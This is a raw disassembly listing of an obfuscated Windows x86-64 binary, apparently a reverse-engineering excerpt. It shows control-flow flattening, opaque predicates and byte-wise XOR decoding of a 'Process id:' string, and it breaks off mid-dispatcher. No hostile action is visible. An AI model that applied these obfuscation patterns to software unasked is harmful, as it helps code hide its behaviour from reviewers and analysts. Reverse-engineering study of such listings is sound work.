mov eax, r10d
cmove eax, r11d
cmp edx, 0xa
cmovge eax, r10d
jmp 0x140038490
mov eax, 0x755fc2e9
jmp 0x140038490
movzx edx, byte [rbp + 0x130]
movzx eax, byte [rbp + 0x188]
mov r8d, eax
xor r8b, dl
test al, al
mov eax, 0x928d138e
mov r10d, 0x755fc2e9
cmovne eax, r10d
test dl, dl
mov edx, 0x928d138e
cmove eax, edx
test r8b, r8b
cmovne eax, r10d
jmp 0x140038490
mov rax, qword [rbp + 0x128]
mov rax, qword [rbp + 0x190]
lea rdx, str._____Process_id_:
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0xc0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
mov r8d, r10d
xor r8d, 0xfffffffe
test r8d, r10d
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xb
mov edx, 0x840d488a
jmp 0x1400396c0
cmp ebx, 0x73ee0625
jne 0x14003973c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x1400396f0
cmp ebx, 0xdbfe02e8
jg 0x140039720
mov edx, edi
cmp ebx, 0x840d488a
je 0x1400396c0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x1400396c0
mov edx, 0xe14df8c5
jmp 0x1400396c0
cmp ebx, 0x73ee0624
jg 0x1400396a3
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x1400396c0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x1400396c0
mov edx, esi
jmp 0x1400396c0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x1400396c0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x1400396c0
mov edx, 0xdbfe02e9
jmp 0x1400396c0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x1400396c0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 - 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 1]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xc
mov edx, 0x840d488a
jmp 0x1400397e0
cmp ebx, 0x73ee0625
jne 0x14003985c
mov edx, 0x6c1e4422
nop word [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039810
cmp ebx, 0xdbfe02e8
jg 0x140039840
mov edx, edi
cmp ebx, 0x840d488a
je 0x1400397e0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x1400397e0
mov edx, 0xe14df8c5
jmp 0x1400397e0
cmp ebx, 0x73ee0624
jg 0x1400397c6
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x1400397e0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x1400397e0
mov edx, esi
jmp 0x1400397e0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x1400397e0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x1400397e0
mov edx, 0xdbfe02e9
jmp 0x1400397e0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x1400397e0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 1], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
mov r8d, r10d
xor r8d, 0xfffffffe
test r8d, r10d
setne r8b
sete r10b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r10b
or r11b, r8b
xor r11b, 1
or r11b, bl
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 2]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xd
mov edx, 0x840d488a
jmp 0x140039910
cmp ebx, 0x73ee0625
jne 0x14003998c
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039940
cmp ebx, 0xdbfe02e8
jg 0x140039970
mov edx, edi
cmp ebx, 0x840d488a
je 0x140039910
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039910
mov edx, 0xe14df8c5
jmp 0x140039910
cmp ebx, 0x73ee0624
jg 0x1400398f7
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x140039910
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039910
mov edx, esi
jmp 0x140039910
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039910
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039910
mov edx, 0xdbfe02e9
jmp 0x140039910
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039910
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 2], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
test r10b, 1
sete r8b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r8b
or r11b, r10b
not r11b
or r11b, bl
test r11b, 1
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx r10d, byte [rdx + 3]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xe
mov edx, 0x840d488a
jmp 0x140039a40
cmp ebx, 0x73ee0625
jne 0x140039abc
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039a70
cmp ebx, 0xdbfe02e8
jg 0x140039aa0
mov edx, edi
cmp ebx, 0x840d488a
je 0x140039a40
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039a40
mov edx, 0xe14df8c5
jmp 0x140039a40
cmp ebx, 0x73ee0624
jg 0x140039a20
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x140039a40
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039a40
mov edx, esi
jmp 0x140039a40
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039a40
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039a40
mov edx, 0xdbfe02e9
jmp 0x140039a40
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039a40
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 3], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r8d, dword [0x1402b5e5c]
lea r10d, [r8 + 1]
imul r10d, r8d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r8b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r8b
mov r8d, 0xdf86ae55
cmovne r8d, r14d
movzx esi, byte [rdx + 4]
mov edi, 0xdf86ae55
cmovne edi, r15d
mov r11d, 0x73ee0625
cmovne r11d, r12d
mov r10d, 0x73ee0625
cmovne r10d, r13d
xor sil, 0xf
mov edx, 0x840d488a
jmp 0x140039b60
cmp ebx, 0x73ee0625
jne 0x140039bdc
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039b90
cmp ebx, 0xdbfe02e8
jg 0x140039bc0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140039b60
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039b60
mov edx, 0xe14df8c5
jmp 0x140039b60
cmp ebx, 0x73ee0624
jg 0x140039b47
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140039b60
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039b60
mov edx, r11d
jmp 0x140039b60
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039b60
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039b60
mov edx, 0xdbfe02e9
jmp 0x140039b60
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039b60
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 4], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 5]
xor sil, 0x10
mov edx, 0x840d488a
jmp 0x140039c30
cmp ebx, 0x73ee0625
jne 0x140039cac
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039c60
cmp ebx, 0xdbfe02e8
jg 0x140039c90
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140039c30
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039c30
mov edx, 0xe14df8c5
jmp 0x140039c30
cmp ebx, 0x73ee0624
jg 0x140039c14
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140039c30
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039c30
mov edx, r11d
jmp 0x140039c30
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039c30
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039c30
mov edx, 0xdbfe02e9
jmp 0x140039c30
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039c30
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 5], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 6]
xor sil, 0x11
mov edx, 0x840d488a
jmp 0x140039d00
cmp ebx, 0x73ee0625
jne 0x140039d7c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039d30
cmp ebx, 0xdbfe02e8
jg 0x140039d60
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140039d00
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039d00
mov edx, 0xe14df8c5
jmp 0x140039d00
cmp ebx, 0x73ee0624
jg 0x140039ce4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140039d00
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039d00
mov edx, r11d
jmp 0x140039d00
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039d00
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039d00
mov edx, 0xdbfe02e9
jmp 0x140039d00
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039d00
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 6], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 7]
xor sil, 0x12
mov edx, 0x840d488a
jmp 0x140039dd0
cmp ebx, 0x73ee0625
jne 0x140039e4c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039e00
cmp ebx, 0xdbfe02e8
jg 0x140039e30
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140039dd0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039dd0
mov edx, 0xe14df8c5
jmp 0x140039dd0
cmp ebx, 0x73ee0624
jg 0x140039db4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140039dd0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039dd0
mov edx, r11d
jmp 0x140039dd0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039dd0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039dd0
mov edx, 0xdbfe02e9
jmp 0x140039dd0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039dd0
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 7], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 8]
xor sil, 0x13
mov edx, 0x840d488a
jmp 0x140039ea0
cmp ebx, 0x73ee0625
jne 0x140039f1c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x140039ed0
cmp ebx, 0xdbfe02e8
jg 0x140039f00
mov edx, r10d
cmp ebx, 0x840d488a
je 0x140039ea0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x140039ea0
cmp ebx, 0x73ee0624
jg 0x140039e84
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x140039ea0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x140039ea0
mov edx, r8d
cmp ebx, 0xdbfe02e9
je 0x140039ea0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x140039ea0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x140039ea0
cmp eax, 0x5410b5be
jne 0x140038490
mov rdx, qword [rbp + 0x148]
mov eax, dword [0x1402b5e5c]
lea r8d, [rax + 1]
imul r8d, eax
test r8b, 1
sete al
cmp dword [0x1402b5e60], 0xa
setge r10b
setl r11b
xor r11b, al
or r10b, r8b
not r10b
or r10b, r11b
test r10b, 1
mov eax, 0xdf86ae55
cmovne eax, r14d
movzx r8d, byte [rdx]
mov r10d, 0xdf86ae55
cmovne r10d, r15d
mov r11d, 0x73ee0625
cmovne r11d, r12d
mov esi, 0x73ee0625
cmovne esi, r13d
xor r8b, 0x1c
mov edx, 0x840d488a
jmp 0x14003a6b0
cmp edi, 0x73ee0625
jne 0x14003a72b
mov edx, 0x6c1e4422
nop dword [rax]
mov edi, edx
cmp edx, 0xe14df8c4
jg 0x14003a6e0
cmp edi, 0xdbfe02e8
jg 0x14003a710
mov edx, esi
cmp edi, 0x840d488a
je 0x14003a6b0
mov edx, edi
cmp edi, 0xc55389d3
jne 0x14003a6b0
mov edx, 0xe14df8c5
jmp 0x14003a6b0
cmp edi, 0x73ee0624
jg 0x14003a69c
mov edx, r10d
cmp edi, 0xe14df8c5
je 0x14003a6b0
mov edx, edi
cmp edi, 0x6c1e4422
jne 0x14003a6b0
mov edx, r11d
jmp 0x14003a6b0
mov edx, eax
cmp edi, 0xdbfe02e9
je 0x14003a6b0
mov edx, edi
cmp edi, 0xdf86ae55
jne 0x14003a6b0
mov edx, 0xdbfe02e9
jmp 0x14003a6b0
mov edx, edi
cmp edi, 0x7a8b2334
jne 0x14003a6b0
mov byte [rbp + 0x138], r8b
movzx eax, byte [rbp + 0x138]
mov rdx, qword [rbp + 0x1d0]
mov byte [rdx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x13], 1
mov rax, qword [rbp + 0x1a0]
mov eax, 0xf50bac3e
mov rsp, r9
jmp 0x1400383eb
cmp eax, 0x560b4798
je 0x1400383e6
cmp eax, 0x6113aa4d
jne 0x1400383eb
mov eax, dword [0x1402b5e50]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xf4b822b8
mov r9d, 0xf50bac3e
cmove eax, r9d
cmp dword [0x1402b5e64], 0xa
mov r8d, 0xf4b822b8
jmp 0x14003a80d
cmp eax, 0xc225df30
jne 0x14003cc07
mov eax, 0x6113aa4d
jmp 0x1400383eb
mov eax, dword [0x1402b5e50]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0x560b4798
mov r9d, 0x3c2a927
cmove eax, r9d
cmp dword [0x1402b5e64], 0xa
mov r8d, 0x560b4798
cmovge eax, r8d
setl r8b
xor r8b, dl
cmovne eax, r9d
jmp 0x1400383eb
mov qword [rbp + 0xf8], rsp
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x198], rax
mov r8, qword [rbp + 0x198]
mov eax, dword [0x1402b5e54]
mov edx, dword [0x1402b5e58]
lea r9d, [rax + 1]
imul r9d, eax
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete byte [rbp + 0x130]
cmp edx, 0xa
setl byte [rbp + 0x188]
mov r9d, 0xf583c235
jmp 0x14003a880
mov r9d, 0x11ff70d4
nop dword [rax + rax]
cmp r9d, 0x5410b5bd
jle 0x14003b8a0
cmp r9d, 0x68a5badb
jg 0x14003b8e0
cmp r9d, 0x597adf79
je 0x14003ba21
cmp r9d, 0x66dcf86e
jne 0x14003ca60
mov rax, qword [rbp + 0x128]
mov rax, qword [rbp + 0x190]
lea rdx, str._____Process_id_:
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov qword [rax], r8
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 - 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
setne r9b
cmp dword [0x1402b5e60], 0xa
setge r10b
mov r11d, r10d
xor r11b, r9b
or r10b, r9b
xor r10b, 1
or r10b, r11b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xb
mov edx, 0x840d488a
jmp 0x14003a970
cmp ebx, 0x73ee0625
jne 0x14003a9ec
mov edx, 0x6c1e4422
nop dword [rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003a9a0
cmp ebx, 0xdbfe02e8
jg 0x14003a9d0
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003a970
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003a970
mov edx, 0xe14df8c5
jmp 0x14003a970
cmp ebx, 0x73ee0624
jg 0x14003a958
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003a970
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003a970
mov edx, esi
jmp 0x14003a970
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003a970
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003a970
mov edx, 0xdbfe02e9
jmp 0x14003a970
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003a970
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
setne r9b
sete r10b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r10b
or r11b, r9b
xor r11b, 1
or r11b, bl
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 1]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xc
mov edx, 0x840d488a
jmp 0x14003aaa0
cmp ebx, 0x73ee0625
jne 0x14003ab1c
mov edx, 0x6c1e4422
nop word [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003aad0
cmp ebx, 0xdbfe02e8
jg 0x14003ab00
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003aaa0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003aaa0
mov edx, 0xe14df8c5
jmp 0x14003aaa0
cmp ebx, 0x73ee0624
jg 0x14003aa86
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003aaa0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003aaa0
mov edx, esi
jmp 0x14003aaa0
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003aaa0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003aaa0
mov edx, 0xdbfe02e9
jmp 0x14003aaa0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003aaa0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 1], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
setne r9b
sete r10b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r10b
or r11b, r9b
xor r11b, 1
or r11b, bl
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 2]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xd
mov edx, 0x840d488a
jmp 0x14003abd0
cmp ebx, 0x73ee0625
jne 0x14003ac4c
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003ac00
cmp ebx, 0xdbfe02e8
jg 0x14003ac30
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003abd0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003abd0
mov edx, 0xe14df8c5
jmp 0x14003abd0
cmp ebx, 0x73ee0624
jg 0x14003abb7
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003abd0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003abd0
mov edx, esi
jmp 0x14003abd0
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003abd0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003abd0
mov edx, 0xdbfe02e9
jmp 0x14003abd0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003abd0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 2], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
setne r9b
cmp dword [0x1402b5e60], 0xa
setge r10b
mov r11d, r10d
xor r11b, r9b
or r10b, r9b
xor r10b, 1
or r10b, r11b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 3]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xe
mov edx, 0x840d488a
jmp 0x14003ad00
cmp ebx, 0x73ee0625
jne 0x14003ad7c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003ad30
cmp ebx, 0xdbfe02e8
jg 0x14003ad60
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003ad00
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003ad00
mov edx, 0xe14df8c5
jmp 0x14003ad00
cmp ebx, 0x73ee0624
jg 0x14003ace4
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003ad00
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003ad00
mov edx, esi
jmp 0x14003ad00
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003ad00
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003ad00
mov edx, 0xdbfe02e9
jmp 0x14003ad00
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003ad00
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 3], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
setne r9b
cmp dword [0x1402b5e60], 0xa
setge r10b
mov r11d, r10d
xor r11b, r9b
or r10b, r9b
xor r10b, 1
or r10b, r11b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx esi, byte [rdx + 4]
mov edi, 0xdf86ae55
cmovne edi, r15d
mov r11d, 0x73ee0625
cmovne r11d, r12d
mov r10d, 0x73ee0625
cmovne r10d, r13d
xor sil, 0xf
mov edx, 0x840d488a
jmp 0x14003ae30
cmp ebx, 0x73ee0625
jne 0x14003aeac
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003ae60
cmp ebx, 0xdbfe02e8
jg 0x14003ae90
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003ae30
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003ae30
mov edx, 0xe14df8c5
jmp 0x14003ae30
cmp ebx, 0x73ee0624
jg 0x14003ae13
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003ae30
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003ae30
mov edx, r11d
jmp 0x14003ae30
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003ae30
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003ae30
mov edx, 0xdbfe02e9
jmp 0x14003ae30
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003ae30
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 4], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 5]
xor sil, 0x10
mov edx, 0x840d488a
jmp 0x14003af00
cmp ebx, 0x73ee0625
jne 0x14003af7c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003af30
cmp ebx, 0xdbfe02e8
jg 0x14003af60
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003af00
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003af00
mov edx, 0xe14df8c5
jmp 0x14003af00
cmp ebx, 0x73ee0624
jg 0x14003aee4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003af00
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003af00
mov edx, r11d
jmp 0x14003af00
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003af00
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003af00
mov edx, 0xdbfe02e9
jmp 0x14003af00
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003af00
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 5], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 6]
xor sil, 0x11
mov edx, 0x840d488a
jmp 0x14003afd0
cmp ebx, 0x73ee0625
jne 0x14003b04c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003b000
cmp ebx, 0xdbfe02e8
jg 0x14003b030
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003afd0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003afd0
mov edx, 0xe14df8c5
jmp 0x14003afd0
cmp ebx, 0x73ee0624
jg 0x14003afb4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003afd0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003afd0
mov edx, r11d
jmp 0x14003afd0
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003afd0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003afd0
mov edx, 0xdbfe02e9
jmp 0x14003afd0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003afd0
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 6], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 7]
xor sil, 0x12
mov edx, 0x840d488a
jmp 0x14003b0a0
cmp ebx, 0x73ee0625
jne 0x14003b11c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003b0d0
cmp ebx, 0xdbfe02e8
jg 0x14003b100
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003b0a0
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003b0a0
mov edx, 0xe14df8c5
jmp 0x14003b0a0
cmp ebx, 0x73ee0624
jg 0x14003b084
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003b0a0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003b0a0
mov edx, r11d
jmp 0x14003b0a0
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003b0a0
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003b0a0
mov edx, 0xdbfe02e9
jmp 0x14003b0a0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003b0a0
